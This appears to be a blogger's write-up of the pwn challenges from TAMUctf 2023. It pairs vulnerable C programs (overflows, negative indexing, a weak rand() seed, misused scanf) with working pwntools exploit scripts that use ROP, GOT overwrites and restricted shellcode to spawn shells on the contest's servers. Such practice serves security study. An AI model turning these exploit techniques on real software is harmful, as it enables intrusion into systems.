Contents

TAMUctf 2023

https://i.imgur.com/oPwxdY5.png
TAMUctf 2023

This weekend, I spent some of my free time solving challenges from TAMUctf 2023 for practice. I solved all the pwn challenges except Macchiato, and here is a short write-up that I created for all of the pwn challenges that I solved.

Pwn

Inspector Gadget

There is a buffer overflow in the pwnme function.

1
2
3
4
5
6
7
ssize_t pwnme()
{
  char buf[16]; // [rsp+0h] [rbp-10h] BYREF

  puts("pwn me");
  return read(0, buf, 0x60uLL);
}

The BOF length is large enough, so we can do the usual ROP.

Script:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
from pwn import *

exe = ELF("./inspector-gadget_patched")
libc = ELF("./libc.so.6")

context.binary = exe
context.arch = 'amd64'
context.encoding = 'latin'
context.log_level = 'INFO'
warnings.simplefilter("ignore")

def conn():
    if args.LOCAL:
        r = process([exe.path])
        if args.PLT_DEBUG:
            # gdb.attach(r, gdbscript=gdbscript)
            pause()
    else:
        r = remote("tamuctf.com", 443, ssl=True, sni="inspector-gadget")

    return r

r = conn()

pop_rdi = 0x000000000040127b

payload = b'a'*0x10 + p64(exe.bss()+0x100)
payload += p64(pop_rdi) + p64(exe.got['puts'])
payload += p64(exe.plt['puts'])
payload += p64(exe.symbols['pwnme'])
r.sendlineafter(b'me\n', payload)

puts_libc = u64(r.recv(6).ljust(8, b'\x00'))
libc.address = puts_libc - libc.symbols['puts']
log.info(f'libc base: {hex(libc.address)}')

xor_rax_rax = libc.address + 0x0000000000098225
one_gadget = libc.address + 0x4497f
payload = b'a'*0x10 + p64(exe.bss()+0x100)
payload += p64(xor_rax_rax)
payload += p64(one_gadget)
r.sendline(payload)
r.interactive()

Flag: gigem{ret2libc_r0p_g04t3d}

Unlucky

Source code:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
#include <stdio.h>
#include <stdlib.h>

int main() {
    setvbuf(stdout, NULL, _IONBF, 0);
    setvbuf(stdin, NULL, _IONBF, 0);

    static int seed = 69;
    srand(&seed);

    printf("Here's a lucky number: %p\n", &main);

    int lol = 1;
    int input = 0;
    for (int i = 1; i <= 7; ++i) {
        printf("Enter lucky number #%d:\n", i);
        scanf("%d", &input);
        if (rand() != input) {
            lol = 0;
        }
    }

    if (lol) {
        char flag[64] = {0};
        FILE* f = fopen("flag.txt", "r");
        fread(flag, 1, sizeof(flag), f);
        printf("Nice work, here's the flag: %s\n", flag);
    } else {
        puts("How unlucky :pensive:");
    }
}

The bug is the seed that is being used is the address of seed, which is quite close to the main address that is being leaked. This caused us to be able to generate the same rand() value.

Script:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
from pwn import *
from ctypes import CDLL
from ctypes.util import find_library

libc = CDLL(find_library("c"))

p = remote("tamuctf.com", 443, ssl=True, sni="unlucky")

p.recvuntil(b'number: ')
seed = (int(p.recvline().strip(), 16) & 0xffffffff) + 0x2ec3
libc.srand(seed)

for i in range(7):
    p.sendlineafter(b':\n', str(libc.rand()).encode())

p.interactive()

Flag: gigem{1_n33d_b3tt3r_3ntr0py_s0urc3s}

Pointers

Source code:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
#include <stdio.h>
#include <unistd.h>

void upkeep() {
    // Not related to the challenge, just some stuff so the remote works correctly
    setvbuf(stdin, NULL, _IONBF, 0);
    setvbuf(stdout, NULL, _IONBF, 0);
    setvbuf(stderr, NULL, _IONBF, 0);
}

void win() {
    char* argv[] = {"/bin/cat", "flag.txt", NULL};
    execve(argv[0], argv, NULL);
}

void lose() {
    char* argv[] = {"/bin/echo", "loser", NULL};
    execve(argv[0], argv, NULL);
}

void vuln() {
    char buf[010];
    printf("Interaction pls: ");
    read(0, buf, 10);
}

int main() {
    upkeep();
    void* func_ptrs[] = {lose, win};
    printf("All my functions are being stored at %p\n", func_ptrs);
    
    vuln();
    
    void (*poggers)() = func_ptrs[0];
    poggers();
}

The bug is in vuln, where the buf is using 010 representation, which equals to 8. We can partially overwrite the rbp value, which we can use to shift the func_ptrs starting address to that the first element is win instead of lose.

Script:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
from pwn import *

p = remote("tamuctf.com", 443, ssl=True, sni="pointers")

p.recvuntil(b'at ')
func_ptr_addr = int(p.recvline().strip(), 16)
new_rbp = func_ptr_addr + 0x28
p.sendlineafter(b'pls: ', b'a'*8+p64(new_rbp)[:2])

p.interactive()

Flag: gigem{small_overflows_are_still_effective}

Randomness

We were given the source code of the chall:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

void win() {
    char* argv[] = {"/bin/cat", "flag.txt", NULL};
    execve(argv[0], argv, NULL);
}

void foo() {
    unsigned long seed;
    puts("Enter a seed:");
    scanf("%lu", &seed);
    srand(seed);
}

void bar() {
    unsigned long a;

    puts("Enter your guess:");
    scanf("%lu", a);

    if (rand() == a) {
        puts("correct!");
    } else {
        puts("incorrect!");
    }
}


int main() {
    puts("hello!");
    foo();
    bar();
    puts("goodbye!");
}

The bug is in the scanf("%lu", a). Instead of call scanf with the address of a, it uses the value instead. Because the binary is No PIE, we can simply set the seed value to the GOT of puts, and then during calling bar, the a value isn’t uninitialized, which means it still contains the value that we set for the seed. That means, during calling the scanf("%lu", a), it will overwrite the GOT of puts with the value that we set (in this case, with the win address).

1
2
3
4
5
6
7
8
from pwn import *

exe = ELF("./randomness")

p = remote("tamuctf.com", 443, ssl=True, sni="randomness")
p.sendline(str(exe.got['puts']).encode())
p.sendline(str(exe.symbols['win']).encode())
p.interactive()

Flag: gigem{value_or_pointer_is_an_important_distinction}

Sea Shells

We were given the source code of the chall:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
#include <stdio.h>
#include <stdlib.h>

int check(unsigned long n, unsigned long sold) {
    if ((n & 0xffff) == (sold & 0xffff)) {
        return 1;
    }
    return 0;
}

void vuln() {
    unsigned long num_sold;
    char resp;
    unsigned long a;
    unsigned long b;
    unsigned long c;
    unsigned long d;
    
    num_sold = rand();

    printf("It's not that easy though, enter 4 numbers to use to guess!\n");
    
    do {
        // ask user for input
        printf("1st number: ");
        scanf("%lu", &a);
        printf("2nd number: ");
        scanf("%lu", &b);
        printf("3rd number: ");
        scanf("%lu", &c);
        printf("4th number: ");
        scanf("%lu", &d);

        // perform some calculations on the numbers
        d = d + c;
        c = c ^ b;
        b = b - a;

        if (check(d, num_sold)) {
                printf("Woohoo! That's exactly how many she sold!\n");
                printf("Here's a little something Sally wants to give you for your hard work: %lx\n", &d);
        } else {
                printf("Sorry, that's not quite right :(\n");
        }

        // go again?
        printf("Would you like to guess again? (y/n) ");
        scanf("%s", &resp);

    } while (resp == 'Y' || resp == 'y');

    return;
}

void welcome() {
    printf("Sally sold some sea SHELLS!\n");
    printf("Try to guess exactly how many she sold, I bet you can't!!\n");
}

int main() {
    setvbuf(stdin, NULL, _IONBF, 0);
    setvbuf(stdout, NULL, _IONBF, 0);
    setvbuf(stderr, NULL, _IONBF, 0);
    welcome();
    vuln();
    
    printf("'bye now'\n-Sally\n");
    return 0;
}

The bug is in the scanf("%s", &resp);, which is clearly a buffer overflow. Another thing to notice is that the stack address is executable. That means, this is a shellcoding challenge with constraints that there will be some operations performed to our inputted shellcode. I reuse the shellcode in this blog, and to fulfill the constraints, simply use z3.

Script:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
from pwn import *
from z3 import *

exe = ELF('./sea-shells')

shellcode = b'1\xf6VH\xbb/bin//shST_\xf7\xee\xb0;\x0f\x05'

s = Solver()

d = BitVec('d', 64)
c = BitVec('c', 64)
b = BitVec('b', 64)
a = BitVec('a', 64)
s.add(((d + c) & 0xffff) == 0x4567)
s.add((c ^ b) == u64(shellcode[:8]))
s.add((b - a) == u64(shellcode[8:16]))
s.add(a == u64(shellcode[16:].ljust(8, b'\x00')))

# print(hex(u64(shellcode[:8])))
# print(hex(u64(shellcode[8:16])))
# print(hex(u64(shellcode[16:].ljust(8, b'\x00'))))

res = s.check()
print(s.check())
if res == sat:
    print(s.model())
    ans = s.model()
    x_a = ans.evaluate(a).as_long()
    x_b = ans.evaluate(b).as_long()
    x_c = ans.evaluate(c).as_long()
    x_d = ans.evaluate(d).as_long()
    print(f'x_a = {hex(x_a)}, {x_a = }')
    print(f'x_b = {hex(x_b)}, {x_b = }')
    print(f'x_c = {hex(x_c)}, {x_c = }')
    print(f'x_d = {hex(x_d)}, {x_d = }')
else:
    exit()

r = remote("tamuctf.com", 443, ssl=True, sni="sea-shells")
# r = process('./sea-shells', env={})
# pause()

r.sendlineafter(b'number: ', str(x_a).encode())
r.sendlineafter(b'number: ', str(x_b).encode())
r.sendlineafter(b'number: ', str(x_c).encode())
r.sendlineafter(b'number: ', str(x_d).encode())
r.recvuntil(b'work: ')
d_addr = int(r.recvline().strip(), 16)
sh_addr = d_addr + 0x8

payload = b'n'*0x9
payload += p64(d_addr + 64)
payload += p64(sh_addr)
r.sendline(payload)

r.interactive()

Flag: gigem{cr34t1v3_5h3llc0d3_ftw}

Bank

We were given the source code of the chall:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
#include <stdio.h>

long accounts[100];
char exit_msg[] = "Have a nice day!";

void deposit() {
    int index = 0;
    long amount = 0;
    puts("Enter the number (0-100) of the account you want to deposit in: ");
    scanf("%d", &index);
    puts("Enter the amount you want to deposit: ");
    scanf("%ld", &amount);
    accounts[index] += amount;
}

int main() {
    setvbuf(stdout, NULL, _IONBF, 0);
    setvbuf(stdin, NULL, _IONBF, 0);
    deposit();
    deposit();
    puts(exit_msg);
}

The bug is we can use negative index in the accounts, and because it is placed in the bss area, we can modify GOT of puts to one_gadget and spawn a shell.

Script:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
from pwn import *

p = remote("tamuctf.com", 443, ssl=True, sni="bank")
offset = -16
value = -184513

p.sendline(str(offset).encode())
p.sendline(str(value).encode())

p.interactive()

Flag: gigem{a_v3ry_h3fty_d3p0s1t}

Encryptinator

We were given the souce code of the chall:

  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
#include <stdio.h>
#include <stdlib.h>
#include <time.h>
#include <string.h>

#define MAX_LEN 1024
#define FLAG_LEN 30

void upkeep() {
    // Not related to the challenge, just some stuff so the remote works correctly
    setvbuf(stdin, NULL, _IONBF, 0);
    setvbuf(stdout, NULL, _IONBF, 0);
    setvbuf(stderr, NULL, _IONBF, 0);
}

void print_hex(char* buf, int len) {
    for (int i=0; i<len; i++) {
        printf("%02x", (unsigned char)buf[i]);
    }
    printf("\n");
}

void encrypt(char* msg, int len, char* iv) {
    char key[len];
    FILE *file;
    
    file = fopen("/dev/urandom", "rb");
    fread(key, len, 1, file);
    fclose(file);    

    for (int i=0; i<len; i++) {
        msg[i] = msg[i] ^ key[i] ^ iv[i % 8];
    }
}

void randomize(char* msg, int len, unsigned long seed, unsigned long iterations) {
    seed = seed * iterations + len;

    if (iterations > 1) {
        randomize(msg, len, seed, iterations- 1);
    } else {
        encrypt(msg, len, ((char *) &seed));
    }
}

char menu() {
    char option;
    printf("\nSelect from the options below:\n");
    printf("1. Encrypt a message\n");
    printf("2. View the encrypted message\n");
    printf("3. Quit\n");
    printf("> ");
    scanf("%c", &option);
    while (getchar() != '\n');
    return option;
}

void console() {
    FILE* file;
    long seed;
    int index;
    int read_len;
    char buf[MAX_LEN] = "";
    int len = -1;

    while (1) {
        switch(menu()) {
            case '1':
                // get user input
                printf("\nPlease enter message to encrypt: ");
                fgets(buf, MAX_LEN-FLAG_LEN, stdin);
                len = strlen(buf);

                // add flag to the buffer
                file = fopen("flag.txt", "rb");
                fread(buf + len, FLAG_LEN, 1, file);
                fclose(file);
                len += FLAG_LEN;

                // encrypt
                seed = ((long) rand()) << 32 + rand();
                randomize(buf, len, seed, buf[0]);
                break;
            case '2':
                if(len == -1) {
                    printf("Sorry, you need to encrypt a message first.\n");
                    break;
                }

                index = 0;
                printf("\nRead a substring of the encrypted message.");
                printf("\nPlease enter the starting index (%d - %d): ", index, len);
                scanf("%d", &index);
                while (getchar() != '\n');

                if (index > len) { 
                    printf("Error, index out of bounds.\n");
                    break;
                }

                printf("Here's your encrypted string with the flag:\n");
                print_hex(buf+index, len - index);
                break;
            case '3':
                printf("goodbye.\n");
                exit(0);
            default:
                printf("There was an error processing that request, please try again.\n");
                break;
        }
    }

}


int main() {
    srand(time(NULL)); 
    upkeep();

    // welcome
    printf("Welcome to my encryption engine: ENCRYPT-INATOR!\n");
    printf("I'll encrypt anything you want but no guarantees you'll be able to decrypt it,\n");
    printf("I haven't quite figured out how to do that yet... :(\n"); 
    console();
}

There is a bug where we can set the index to negative values, which means we can leak some values which stored above the main stack frames. With the bug, we can recover the key and iv values that is being used to encrypt it.

Script:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
from pwn import *

p = remote("tamuctf.com", 443, ssl=True, sni="encryptinator")
# p = process('./encryptinator', env={})
# pause()

p.sendlineafter(b'> ', b'1')
payload = b'\x30aaaaaaaa'
p.sendlineafter(b'encrypt: ', payload)

p.sendlineafter(b'> ', b'2')
p.sendlineafter(b': ', b'-2448')

p.recvuntil(b'flag:\n')
out = bytes.fromhex(p.recvline().strip().decode())
key = out[:0x28]
# print(hex(u64(key[:8])))
iv = out[0x98:0xa0]
# print(hex(u64(iv)))

p.sendlineafter(b'> ', b'2')
p.sendlineafter(b': ', b'0')
p.recvuntil(b'flag:\n')
enc = bytes.fromhex(p.recvline().strip().decode())

dec = b''
for i in range(len(enc)):
    dec += bytes([enc[i] ^ key[i] ^ iv[i % 8]])
print(dec)

Flag: gigem{00ps_b4d_3rr0r_ch3ck1ng}

Pwnme

We were given a binary called pwnme and its custom library called libpwnme.so. Below is the disassembly of the binary:

1
2
3
4
5
int __cdecl main(int argc, const char **argv, const char **envp)
{
  pwnme(argc, argv, envp);
  return 0;
}

Some interesting functions inside the custom library:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
ssize_t pwnme()
{
  char buf[16]; // [rsp+0h] [rbp-10h] BYREF

  setup();
  puts("pwn me");
  return read(0, buf, 0x48uLL);
}

int win()
{
  return system("/bin/bash");
}

Notice that there is buffer overflow in the custom library, and our target is to call the win function to get a shell.

The given binary is Partial RELRO and No PIE. This means that we can modify the GOT table of the binary. Currently, the GOT only contains one function, which is pwnme function loaded from the custom library. My idea is to overwrite the GOT entry so that when the binary called pwnme, it will call win instead.

Checking the available gadgets in the binary with ROPgadget and ropr, I found some interesting gadgets.

1
2
3
4
0x00000000004011af : add byte ptr [rbp - 0x3d], bl ; sub rax, rsi ; ret
0x000000000040118f : add bl, al ; mov rax, qword ptr [rdi] ; ret
0x0000000000401191 : mov rax, qword ptr [rdi] ; ret
0x000000000040118b : pop rdi ; ret

The idea is to use this three gadgets to shift the last byte of the address pwnme stored in the GOT, so that it points to win instead (because win and pwnme is very close to each other). We control rbp with the BOF bug, we can set the rdi to address that we want which means the al value is controllable, which means we can set the bl values. If we set the rbp value to the address of GOT pwnme+0x3d, and then set the bl properly, we will be able to shift the GOT. After that, simply call the pwnme plt, and it will call win instead.

Notes that the BOF length is quite small, and I need to do ROP twice due to this length constraint + misalignment stack (which can caused an issue during return).

Script:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
from pwn import *

exe = ELF("./pwnme_patched")

context.binary = exe
context.arch = 'amd64'
context.encoding = 'latin'
context.log_level = 'INFO'
warnings.simplefilter("ignore")

def conn():
    if args.LOCAL:
        r = process([exe.path])
        if args.PLT_DEBUG:
            # gdb.attach(r, gdbscript=gdbscript)
            pause()
    else:
        r = remote("tamuctf.com", 443, ssl=True, sni="pwnme")

    return r

r = conn()

pop_rdi = 0x000000000040118b
mov_rax_ptr_rdi = 0x0000000000401191
add_bl_al = 0x0040118f
add_rbp_bl = 0x00000000004011af

payload = b'a'*0x10
payload += p64(exe.got['pwnme']+0x3d)
payload += p64(pop_rdi) + p64(0x4010c5) + p64(mov_rax_ptr_rdi) # Set al to 0xe8
payload += p64(add_bl_al)
payload += p64(exe.plt['pwnme']) # misalign stack, need to do second ROP
r.sendafter(b'pwn me\n', payload)

payload = b'a'*0x10
payload += p64(exe.got['pwnme']+0x3d)
payload += p64(add_rbp_bl)
payload += p64(exe.plt['pwnme'])
r.sendafter(b'pwn me\n', payload)

r.interactive()

Flag: gigem{r0p_g4dg3ts_r_c00l}

Contrived Shellcode

We were given this source code:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
#include <sys/mman.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>

unsigned char whitelist[] = "\x00\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0b\x0c\x0d\x0e\x0f";

void check(unsigned char* code, int len) {
    for (int i = 0; i < len; i++) {
        if (memchr(whitelist, code[i], sizeof(whitelist)) == NULL) {
            printf("Oops, shellcode contains blacklisted character %02X at offset %d.\n", code[i], i);
            exit(-1);
        }
    }
}

int main() {
    unsigned char* code = mmap(NULL, 0x1000, PROT_EXEC|PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0);

    int len = read(0, code, 0x100);

    if (len > 0) {
        if (code[len - 1] == '\n') {
            code[len - 1] = '\0';
        }
        check(code, len); 
        ((void (*)())(code))();
    }
}

So, this is a shellcoding challenge where the char is limited to the given whitelist. My first step was to check what is the available opcode based on the given whitelist (I use this website to help me for initial analysis). Turns out, we have plenty instructions related to or, add, and syscall. However, all the available opcodes only allowed us to play with max 32-bits operand and registers.

Checking on the gdb, during calling the shellcode.

  • rdx was set to the address of our shellcode (which is writeable region).
  • rdi was pointing to the whitelist array (which is writeable region).

My approach to solve this challenge is to do three syscalls, which are:

  • chdir('/')
  • chdir('bin')
  • execve('sh')

This approach was taken by me because we can only play with 32-bit registers, which mean the maximum number of bytes that I can set is only 4. So, the maximum string that I could craft is only 3 chars (because last byte need to be null), which is why I need to split the chdir one-by-one to fulfill the constraints.

Calling the first and second chdir is easy. rdi is already pointing to a writeable region, and the given opcodes also allowed us to modify the value pointed by rdi. So, we can simply construct string /\x00 during the first chdir. After calling the first chdir, we just need to modify the value pointed by rdi again to be bin\x00 and call chdir again. Now, we’re ready to call execve('sh').

There is a slight problem in here. Same as before, we can simply modify again the rdi pointed value to be sh\x00. And then, in order to successfully spawn a shell, ideally the rsi and rdx should be null. In this case, the rsi is already set to null since the start of the program. However, remember that the rdx value is not null, it still contains the shellcode address.

As I mentioned before, the available opcodes can’t modify the rdx value, but some of them can modify the value pointed by rdx. We need to set the pointed value to 0 to make the execve call succeed. But, remember that we can only edit 4 bytes, which means up until now, we’re only able to clear the pointed value lower 4 bytes, but the higher 4 bytes still remains.

Observed that during executing a syscall, the rcx value will be used to store the rip. Which means, after you call syscall, the rcx will be pointing to your shellcode address as well. This will be useful during executing the execve('sh'). Luckily, the given opcodes allow us to modify the value of cl (the least significant bytes of rcx) and we can also modify the value pointed by rcx. This means, to clear the higher 4 bytes of the pointed value ofrdx, we can simply adjust the rcx value to point to the rdx+4, and then nullify the pointed value. By doing this, all of the constraints has been fulfilled and we can smoothly spawn a shell.

Another thing that worth to be mentioned during making my payloads smaller is that I notice that there are a lot of times where we need to quickly nullify the pointed value. The trick that I use is to set the pointed value of edx to 0xffffffff. To nullify the value, simply or it with edx and then add it by 1. This trick helps me a lot to shorten my shellcode.

This is my solver script:

  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
from pwn import *

p = remote("tamuctf.com", 443, ssl=True, sni="contrived-shellcode")
# p = process('./contrived-shellcode', env={})

sc = asm('''
add eax, 0x0f0f0f0f
add [edx], eax
add [edx], eax
add [edx], eax
add [edx], eax
add [edx], eax
add [edx], eax
add [edx], eax
add [edx], eax
add [edx], eax
add [edx], eax
add [edx], eax
add [edx], eax
add [edx], eax
add [edx], eax
add [edx], eax
add al, 0x9
add al, 0x1
add [edx], eax
or eax,[edx]
or [edi], eax
''')
sc += b'\x05\x0f\x00\x00\x00'
sc += asm('''
add al, 0xf
add al, 0xf
add al, 0x4
add [edi], eax
add al, 0xf
add al, 0xf
add al, 0x2
syscall
add eax, 0x000f0f0f
add eax, 0x000f0f0f
add eax, 0x000f0f0f
add eax, 0x000f0f00
add eax, 0x000f0f00
add eax, 0x000f0f00
add eax, 0x000f0f00
add eax, 0x00050006
add [edi], eax
or eax, [edx]
''')
sc += b'\x05\x0f\x00\x00\x00' # add eax, 0xf
sc += asm('''
add al, 0xf
add al, 0xf
add al, 0xf
add al, 0xf
add al, 0x6
syscall
or eax, [edx]
or [edi], eax
add al, 0xf
add al, 0xf
add al, 0xf
add al, 0xf
add al, 0xf
add al, 0xf
add al, 0xf
add al, 0xf
add al, 0xf
add [edi], eax
add cl, [edi]
or eax, [edx]
or [ecx], eax
or eax, [edx]
''')
sc += b'\x05\x02\x00\x00\x00' # add eax, 0x2
sc += asm('''
add [ecx], eax
or eax, [edx]
or [edi], eax
''')
sc += b'\x05\x0f\x00\x00\x00' # add eax, 0xf
sc += asm('''
add eax, 0x00000f0f
add eax, 0x00000f0f
add eax, 0x00000f0f
add eax, 0x00000f0f
add eax, 0x00000f0f
add eax, 0x00000f0f
add eax, 0x00000e0c
add [edi], eax
or eax, [edx]
''')
sc += b'\x05\x02\x00\x00\x00'  # add eax, 0x2
sc += asm('''
add [edx], eax
add al, 0xd
add al, 0xf
add al, 0xf
add al, 0xf
syscall
''')
print(len(sc))
print(sc)
p.sendline(sc)
p.interactive()

gigem{Sh3llc0d1ng_1s_FuN}

Social Media

Follow me on twitter